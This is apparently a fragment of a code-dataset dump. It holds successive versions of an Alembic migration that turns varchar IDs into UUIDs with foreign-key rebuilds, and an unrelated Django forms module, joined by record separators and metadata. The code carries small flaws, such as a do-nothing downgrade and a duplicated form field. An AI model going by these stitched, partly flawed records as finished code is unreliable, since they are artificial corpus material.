)\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN component_id TYPE UUID USING component_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_components ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE UUID USING issue_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE jobstates ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE logs ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE metas ALTER COLUMN job_id TYPE UUID USING job_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE remotecis ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE teams ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE tests ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topic_tests ALTER COLUMN test_id TYPE UUID USING test_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics ALTER COLUMN next_topic TYPE UUID USING next_topic::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE UUID USING topic_id::uuid'\n )\n op.execute(\n 'ALTER TABLE topics_teams ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE UUID USING user_id::uuid'\n )\n op.execute(\n 'ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE UUID USING remoteci_id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN id TYPE UUID USING id::uuid'\n )\n op.execute(\n 'ALTER TABLE users ALTER COLUMN team_id TYPE UUID USING team_id::uuid'\n )\n op.create_foreign_key('component_files_component_id_fkey',\n 'component_files', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('components_topic_id_fkey', 'components',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_job_id_fkey', 'files', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_jobstate_id_fkey', 'files', 'jobstates', [\n 'jobstate_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_team_id_fkey', 'files', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_test_id_fkey', 'files', 'tests', [\n 'test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests', 'jobdefinitions', ['jobdefinition_id'], [\n 'id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests', 'tests', ['test_id'], ['id'], ondelete='CASCADE'\n )\n op.create_foreign_key('jobdefinitions_topic_id_fkey', 'jobdefinitions',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_team_id_fkey', 'jobs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_jobdefinition_id_fkey', 'jobs',\n 'jobdefinitions', ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_remoteci_id_fkey', 'jobs', 'remotecis', [\n 'remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_previous_job_id_fkey', 'jobs', 'jobs', [\n 'previous_job_id'], ['id'])\n op.create_foreign_key('jobs_components_component_id_fkey',\n 'jobs_components', 'components', ['component_id'], ['id'], ondelete\n ='CASCADE')\n op.create_foreign_key('jobs_components_job_id_fkey', 'jobs_components',\n 'jobs', ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_issue_id_fkey', 'jobs_issues',\n 'issues', ['issue_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_job_id_fkey', 'jobs_issues', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_team_id_fkey', 'jobstates', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_job_id_fkey', 'jobstates', 'jobs', [\n 'job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_team_id_fkey', 'logs', 'teams', ['team_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_user_id_fkey', 'logs', 'users', ['user_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('metas_job_id_fkey', 'metas', 'jobs', ['job_id'],\n ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_test_id_fkey', 'remoteci_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_remoteci_id_fkey',\n 'remoteci_tests', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('remotecis_team_id_fkey', 'remotecis', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('tests_team_id_fkey', 'tests', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_test_id_fkey', 'topic_tests',\n 'tests', ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_topic_id_fkey', 'topic_tests',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_next_topic_fkey', 'topics', 'topics', [\n 'next_topic'], ['id'])\n op.create_foreign_key('topics_teams_topic_id_fkey', 'topics_teams',\n 'topics', ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_teams_team_id_fkey', 'topics_teams',\n 'teams', ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_user_id_fkey', 'user_remotecis',\n 'users', ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_remoteci_id_fkey',\n 'user_remotecis', 'remotecis', ['remoteci_id'], ['id'], ondelete=\n 'CASCADE')\n op.create_foreign_key('users_team_id_fkey', 'users', 'teams', [\n 'team_id'], ['id'], ondelete='CASCADE')\n\n\ndef downgrade():\n pass\n",
"step-5": "#\n# Copyright (C) 2017 Red Hat, Inc\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\"\"\"Change varchar ID to UUID\n\nRevision ID: 1bb42ff54435\nRevises: 6bbbf58ed9de\nCreate Date: 2017-02-07 09:28:37.493302\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '1bb42ff54435'\ndown_revision = '6bbbf58ed9de'\nbranch_labels = None\ndepends_on = None\n\nfrom alembic import op\n\n\ndef upgrade():\n # Drop constraint\n op.drop_constraint('component_files_component_id_fkey', 'component_files')\n op.drop_constraint('components_topic_id_fkey', 'components')\n op.drop_constraint('files_job_id_fkey', 'files')\n op.drop_constraint('files_jobstate_id_fkey', 'files')\n op.drop_constraint('files_team_id_fkey', 'files')\n op.drop_constraint('files_test_id_fkey', 'files')\n op.drop_constraint('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests')\n op.drop_constraint('jobdefinitions_topic_id_fkey', 'jobdefinitions')\n op.drop_constraint('jobs_team_id_fkey', 'jobs')\n op.drop_constraint('jobs_jobdefinition_id_fkey', 'jobs')\n op.drop_constraint('jobs_remoteci_id_fkey', 'jobs')\n op.drop_constraint('jobs_previous_job_id_fkey', 'jobs')\n op.drop_constraint('jobs_components_component_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_components_job_id_fkey', 'jobs_components')\n op.drop_constraint('jobs_issues_issue_id_fkey', 'jobs_issues')\n op.drop_constraint('jobs_issues_job_id_fkey', 'jobs_issues')\n op.drop_constraint('jobstates_team_id_fkey', 'jobstates')\n op.drop_constraint('jobstates_job_id_fkey', 'jobstates')\n op.drop_constraint('logs_team_id_fkey', 'logs')\n op.drop_constraint('logs_user_id_fkey', 'logs')\n op.drop_constraint('metas_job_id_fkey', 'metas')\n op.drop_constraint('remoteci_tests_test_id_fkey', 'remoteci_tests')\n op.drop_constraint('remoteci_tests_remoteci_id_fkey', 'remoteci_tests')\n op.drop_constraint('remotecis_team_id_fkey', 'remotecis')\n op.drop_constraint('tests_team_id_fkey', 'tests')\n op.drop_constraint('topic_tests_test_id_fkey', 'topic_tests')\n op.drop_constraint('topic_tests_topic_id_fkey', 'topic_tests')\n op.drop_constraint('topics_next_topic_fkey', 'topics')\n op.drop_constraint('topics_teams_topic_id_fkey', 'topics_teams')\n op.drop_constraint('topics_teams_team_id_fkey', 'topics_teams')\n op.drop_constraint('user_remotecis_user_id_fkey', 'user_remotecis')\n op.drop_constraint('user_remotecis_remoteci_id_fkey', 'user_remotecis')\n op.drop_constraint('users_team_id_fkey', 'users')\n\n # Change type\n # Table component_files\n op.execute(\"ALTER TABLE component_files ALTER COLUMN component_id TYPE \\\n UUID USING component_id::uuid\")\n op.execute(\"ALTER TABLE component_files ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n\n # Table components\n op.execute(\"ALTER TABLE components ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE components ALTER COLUMN topic_id TYPE \\\n UUID USING topic_id::uuid\")\n\n # Table files\n op.execute(\"ALTER TABLE files ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE files ALTER COLUMN jobstate_id TYPE \\\n UUID USING jobstate_id::uuid\")\n op.execute(\"ALTER TABLE files ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n op.execute(\"ALTER TABLE files ALTER COLUMN job_id TYPE \\\n UUID USING job_id::uuid\")\n op.execute(\"ALTER TABLE files ALTER COLUMN test_id TYPE \\\n UUID USING test_id::uuid\")\n\n # Table issues\n op.execute(\"ALTER TABLE issues ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n\n # Table jobdefinition_tests\n op.execute(\"ALTER TABLE jobdefinition_tests ALTER COLUMN jobdefinition_id \\\n TYPE UUID USING jobdefinition_id::uuid\")\n op.execute(\"ALTER TABLE jobdefinition_tests ALTER COLUMN test_id TYPE \\\n UUID USING test_id::uuid\")\n\n # Table jobdefinitions\n op.execute(\"ALTER TABLE jobdefinitions ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE jobdefinitions ALTER COLUMN topic_id TYPE \\\n UUID USING topic_id::uuid\")\n\n # Table jobs\n op.execute(\"ALTER TABLE jobs ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE jobs ALTER COLUMN jobdefinition_id TYPE \\\n UUID USING jobdefinition_id::uuid\")\n op.execute(\"ALTER TABLE jobs ALTER COLUMN remoteci_id TYPE \\\n UUID USING remoteci_id::uuid\")\n op.execute(\"ALTER TABLE jobs ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n op.execute(\"ALTER TABLE jobs ALTER COLUMN previous_job_id TYPE \\\n UUID USING previous_job_id::uuid\")\n\n # Table jobs_components\n op.execute(\"ALTER TABLE jobs_components ALTER COLUMN component_id TYPE \\\n UUID USING component_id::uuid\")\n op.execute(\"ALTER TABLE jobs_components ALTER COLUMN job_id TYPE \\\n UUID USING job_id::uuid\")\n\n # Table jobs_issues\n op.execute(\"ALTER TABLE jobs_issues ALTER COLUMN job_id TYPE \\\n UUID USING job_id::uuid\")\n op.execute(\"ALTER TABLE jobs_issues ALTER COLUMN issue_id TYPE \\\n UUID USING issue_id::uuid\")\n\n # Table jobstates\n op.execute(\"ALTER TABLE jobstates ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE jobstates ALTER COLUMN job_id TYPE \\\n UUID USING job_id::uuid\")\n op.execute(\"ALTER TABLE jobstates ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Table logs\n op.execute(\"ALTER TABLE logs ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE logs ALTER COLUMN user_id TYPE \\\n UUID USING user_id::uuid\")\n op.execute(\"ALTER TABLE logs ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Table metas\n op.execute(\"ALTER TABLE metas ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE metas ALTER COLUMN job_id TYPE \\\n UUID USING job_id::uuid\")\n\n # Table remoteci_tests\n op.execute(\"ALTER TABLE remoteci_tests ALTER COLUMN remoteci_id TYPE \\\n UUID USING remoteci_id::uuid\")\n op.execute(\"ALTER TABLE remoteci_tests ALTER COLUMN test_id TYPE \\\n UUID USING test_id::uuid\")\n\n # Table remotecis\n op.execute(\"ALTER TABLE remotecis ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE remotecis ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Table teams\n op.execute(\"ALTER TABLE teams ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n\n # Table tests\n op.execute(\"ALTER TABLE tests ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE tests ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Table topic_tests\n op.execute(\"ALTER TABLE topic_tests ALTER COLUMN topic_id TYPE \\\n UUID USING topic_id::uuid\")\n op.execute(\"ALTER TABLE topic_tests ALTER COLUMN test_id TYPE \\\n UUID USING test_id::uuid\")\n\n # Table topics\n op.execute(\"ALTER TABLE topics ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE topics ALTER COLUMN next_topic TYPE \\\n UUID USING next_topic::uuid\")\n\n # Table topics_teams\n op.execute(\"ALTER TABLE topics_teams ALTER COLUMN topic_id TYPE \\\n UUID USING topic_id::uuid\")\n op.execute(\"ALTER TABLE topics_teams ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Table user_remotecis\n op.execute(\"ALTER TABLE user_remotecis ALTER COLUMN user_id TYPE \\\n UUID USING user_id::uuid\")\n op.execute(\"ALTER TABLE user_remotecis ALTER COLUMN remoteci_id TYPE \\\n UUID USING remoteci_id::uuid\")\n\n # Table users\n op.execute(\"ALTER TABLE users ALTER COLUMN id TYPE \\\n UUID USING id::uuid\")\n op.execute(\"ALTER TABLE users ALTER COLUMN team_id TYPE \\\n UUID USING team_id::uuid\")\n\n # Re-Create constraint\n op.create_foreign_key('component_files_component_id_fkey',\n 'component_files', 'components',\n ['component_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('components_topic_id_fkey',\n 'components', 'topics',\n ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_job_id_fkey',\n 'files', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_jobstate_id_fkey',\n 'files', 'jobstates',\n ['jobstate_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_team_id_fkey',\n 'files', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('files_test_id_fkey',\n 'files', 'tests',\n ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_jobdefinition_id_fkey',\n 'jobdefinition_tests', 'jobdefinitions',\n ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinition_tests_test_id_fkey',\n 'jobdefinition_tests', 'tests',\n ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobdefinitions_topic_id_fkey',\n 'jobdefinitions', 'topics',\n ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_team_id_fkey',\n 'jobs', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_jobdefinition_id_fkey',\n 'jobs', 'jobdefinitions',\n ['jobdefinition_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_remoteci_id_fkey',\n 'jobs', 'remotecis',\n ['remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_previous_job_id_fkey',\n 'jobs', 'jobs',\n ['previous_job_id'], ['id'])\n op.create_foreign_key('jobs_components_component_id_fkey',\n 'jobs_components', 'components',\n ['component_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_components_job_id_fkey',\n 'jobs_components', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_issue_id_fkey',\n 'jobs_issues', 'issues',\n ['issue_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobs_issues_job_id_fkey',\n 'jobs_issues', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_team_id_fkey',\n 'jobstates', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('jobstates_job_id_fkey',\n 'jobstates', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_team_id_fkey',\n 'logs', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('logs_user_id_fkey',\n 'logs', 'users',\n ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('metas_job_id_fkey',\n 'metas', 'jobs',\n ['job_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_test_id_fkey',\n 'remoteci_tests', 'tests',\n ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remoteci_tests_remoteci_id_fkey',\n 'remoteci_tests', 'remotecis',\n ['remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('remotecis_team_id_fkey',\n 'remotecis', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('tests_team_id_fkey',\n 'tests', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_test_id_fkey',\n 'topic_tests', 'tests',\n ['test_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topic_tests_topic_id_fkey',\n 'topic_tests', 'topics',\n ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_next_topic_fkey',\n 'topics', 'topics',\n ['next_topic'], ['id'])\n op.create_foreign_key('topics_teams_topic_id_fkey',\n 'topics_teams', 'topics',\n ['topic_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('topics_teams_team_id_fkey',\n 'topics_teams', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_user_id_fkey',\n 'user_remotecis', 'users',\n ['user_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('user_remotecis_remoteci_id_fkey',\n 'user_remotecis', 'remotecis',\n ['remoteci_id'], ['id'], ondelete='CASCADE')\n op.create_foreign_key('users_team_id_fkey',\n 'users', 'teams',\n ['team_id'], ['id'], ondelete='CASCADE')\n\n\ndef downgrade():\n pass\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
from django import forms
from django.contrib.auth.models import User
from .models import TblPublish , TblSnippetTopics, TblSnippetData, TblLearnTopics, TblLearnData, TblBlog, TblBlogComments,TblLearnDataComments, TblBlogGvp, TblLearnDataGvp,TblSnippetDataGvp, TblHome, TblAbout, TblQueries
from django.contrib.auth.forms import UserCreationForm
class UsersigninForm(forms.Form):
username = forms.CharField(required = True, label = 'Username', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Username'}))
password = forms.CharField(required = True, label = 'Password', max_length = 32, widget = forms.PasswordInput(attrs={'placeholder': 'Password'}))
class SignupForm(UserCreationForm):
email = forms.EmailField(max_length=200, help_text='Required')
class Meta:
model = User
fields = ('username', 'email', 'password1', 'password2')
def __init__(self, *args, **kwargs):
super(SignupForm, self).__init__(*args, **kwargs)
self.fields['username'].widget.attrs['placeholder'] = "Username"
self.fields['email'].widget.attrs['placeholder'] = "email"
self.fields['password1'].widget.attrs['placeholder'] ="password"
self.fields['password2'].widget.attrs['placeholder'] = "password Again"
class UserRegistrationForm(forms.Form):
username = forms.CharField(required = True, min_length=6,label = 'Username', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Username'}) )
email = forms.EmailField(required = True, label = 'Email', max_length = 100, widget=forms.EmailInput(attrs={'placeholder': 'e.g. : email@gmail.com'}))
firstname = forms.CharField(required = True, label = 'First Name', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'First Name'}))
lastname = forms.CharField(required = True, label = 'Last Name', max_length = 100, widget=forms.TextInput(attrs={'placeholder': 'Last Name'}))
password = forms.CharField(required = True, label = 'Password', max_length = 100, widget = forms.PasswordInput(attrs={'placeholder': 'Password'}))
passwordagain = forms.CharField(required = True, label = 'Password (Again)', max_length = 100, widget = forms.PasswordInput(attrs={'placeholder': 'Password (Again)'}))
class TblPublishForm(forms.ModelForm):
class Meta():
model = TblPublish
fields = '__all__'
class TblSnippetDataForm(forms.ModelForm):
class Meta():
model = TblSnippetData
fields = ['snippet_topics','snippet_data_subject','snippet_data_description','snippet_data_keyword','snippet_data_code','snippet_data_datetime','snippet_data_added_by','snippet_topics','snippet_data_publish']
def clean_snippet_topics_added_by(self):
if not self.cleaned_data['snippet_topics_added_by']:
return User()
return self.cleaned_data['snippet_topics_added_by']
def __init__(self, *args, **kwargs):
super(TblSnippetDataForm, self).__init__(*args, **kwargs)
self.fields['snippet_data_datetime'].widget = forms.HiddenInput()
self.fields['snippet_data_added_by'].widget = forms.HiddenInput()
self.fields['snippet_topics'].widget = forms.HiddenInput()
self.fields['snippet_data_subject'].widget.attrs['placeholder'] = "Title/Topics"
self.fields['snippet_data_description'].widget.attrs['placeholder'] = "Brief Description"
self.fields['snippet_data_keyword'].widget.attrs['placeholder'] ="Keyword For Search"
self.fields['snippet_data_code'].widget.attrs['placeholder'] = "Snippet (Code)"
self.fields['snippet_data_publish'].widget.attrs['placeholder'] = "Ready-To-Publish"
self.fields['snippet_data_publish'].label = "Publish"
class TblBlogForm(forms.ModelForm):
class Meta():
model = TblBlog
fields = ['blog_title','blog_description','blog_keyword','blog_content','blog_pics','blog_publish','blog_datetime','blog_summary','blog_like','blog_added_by']
def __init__(self, *args, **kwargs):
super(TblBlogForm, self).__init__(*args, **kwargs)
self.fields['blog_datetime'].widget = forms.HiddenInput()
self.fields['blog_summary'].widget = forms.HiddenInput()
self.fields['blog_like'].widget = forms.HiddenInput()
self.fields['blog_added_by'].widget = forms.HiddenInput()
self.fields['blog_title'].widget.attrs['placeholder'] = "Title/Topics"
self.fields['blog_description'].widget.attrs['placeholder'] = "Brief Description"
self.fields['blog_content'].widget.attrs['placeholder'] = "Blog Content"
self.fields['blog_keyword'].widget.attrs['placeholder'] = "Keyword For Search"
self.fields['blog_pics'].widget.attrs['placeholder'] = "Upload Pics"
self.fields['blog_publish'].label = "Publish"
class TblBlogCommentsForm(forms.ModelForm):
class Meta():
model = TblBlogComments
fields = '__all__'
class TblLearnDataForm(forms.ModelForm):
class Meta():
model = TblLearnData
fields = ['learn_data','learn_data_keyword','learn_data_description','learn_data_publish','learn_data_datetime','learn_data_added_by','learn_topics','learn_data_like','learn_data_icon']
def __init__(self, *args, **kwargs):
super(TblLearnDataForm, self).__init__(*args, **kwargs)
self.fields['learn_data_datetime'].widget = forms.HiddenInput()
self.fields['learn_data_added_by'].widget = forms.HiddenInput()
self.fields['learn_topics'].widget = forms.HiddenInput()
self.fields['learn_data_like'].widget = forms.HiddenInput()
self.fields['learn_data_icon'].widget = forms.HiddenInput()
self.fields['learn_data'].widget.attrs['placeholder'] = "Title/Topics"
self.fields['learn_data_description'].widget.attrs['placeholder'] = "Brief Description"
self.fields['learn_data_keyword'].widget.attrs['placeholder'] = "Keyword For Search"
self.fields['learn_data_publish'].label = "Publish"
class TblLearnDataCommentsForm(forms.ModelForm):
class Meta():
model = TblLearnDataComments
fields = '__all__'
class TblBlogGvpForm(forms.ModelForm):
class Meta():
model = TblBlogGvp
fields = '__all__'
class TblLearnDataGvpForm(forms.ModelForm):
class Meta():
model = TblLearnDataGvp
fields = '__all__'
class TblHomeForm(forms.ModelForm):
class Meta():
model = TblHome
fields = '__all__'
def __init__(self, *args, **kwargs):
super(TblHomeForm, self).__init__(*args, **kwargs)
self.fields['home_datetime'].widget = forms.HiddenInput()
self.fields['home_added_by'].widget = forms.HiddenInput()
self.fields['home_pics'].widget.attrs['placeholder'] = "Upload Image"
self.fields['home_content'].widget.attrs['placeholder'] = "Content"
self.fields['home_content_description'].widget.attrs['placeholder'] = "Description"
self.fields['home_publish'].label = "Publish"
class TblAboutForm(forms.ModelForm):
class Meta():
model = TblAbout
fields = '__all__'
def __init__(self, *args, **kwargs):
super(TblAboutForm, self).__init__(*args, **kwargs)
self.fields['about_datetime'].widget = forms.HiddenInput()
self.fields['about_added_by'].widget = forms.HiddenInput()
self.fields['about_pics'].widget.attrs['placeholder'] = "Upload Image"
self.fields['about_content'].widget.attrs['placeholder'] = "Content"
self.fields['about_content_description'].widget.attrs['placeholder'] = "Description"
self.fields['about_publish'].label = "Publish"
class TblLearnTopicsForm(forms.ModelForm):
class Meta():
model = TblLearnTopics
fields = '__all__'
def __init__(self, *args, **kwargs):
super(TblLearnTopicsForm, self).__init__(*args, **kwargs)
self.fields['learn_topics_datetime'].widget = forms.HiddenInput()
# self.fields['learn_topics_added_by'].widget = forms.HiddenInput()
self.fields['learn_topics_icon'].widget.attrs['placeholder'] = 'Icon'
self.fields['learn_topics_coverpage_img'].widget = forms.HiddenInput()
self.fields['learn_topics'].widget.attrs['placeholder'] = "Topics"
self.fields['learn_topics_description'].widget.attrs['placeholder'] = "Description"
self.fields['learn_topics_publish'].label = "Publish"
def clean_learn_topics_added_by(self):
if not self.cleaned_data['learn_topics_added_by']:
return User()
return self.cleaned_data['learn_topics_added_by']
class TblSnippetTopicsForm(forms.ModelForm):
class Meta():
model = TblSnippetTopics
fields = '__all__'
def __init__(self, *args, **kwargs):
super(TblSnippetTopicsForm, self).__init__(*args, **kwargs)
self.fields['snippet_topics_datetime'].widget = forms.HiddenInput()
self.fields['snippet_topics_added_by'].widget = forms.HiddenInput()
self.fields['snippet_topics_icon'].widget = forms.HiddenInput()
self.fields['snippet_topics_coverpage_img'].widget = forms.HiddenInput()
self.fields['snippet_topics_expire'].widget = forms.HiddenInput()
self.fields['snippet_topics'].widget.attrs['placeholder'] = "Topics"
self.fields['snippet_topics_description'].widget.attrs['placeholder'] = "Description"
self.fields['snippet_topics_publish'].label = "Publish"
def clean_snippet_topics_added_by(self):
if not self.cleaned_data['snippet_topics_added_by']:
return User()
return self.cleaned_data['snippet_topics_added_by']
class TblQueriesForm(forms.ModelForm):
class Meta():
model = TblQueries
fields = '__all__'
def __init__(self, *args, **kwargs):
super(TblQueriesForm, self).__init__(*args, **kwargs)
self.fields['datetime'].widget = forms.HiddenInput()
self.fields['name'].widget.attrs['placeholder'] = "Name"
self.fields['email'].widget.attrs['placeholder'] = "Email"
self.fields['subject'].widget.attrs['placeholder'] = "Subject"
self.fields['message'].widget.attrs['placeholder'] = "Message"
|
normal
|
{
"blob_id": "9e02b1a90d61de6d794dd350b50417a2f7260df6",
"index": 5947,
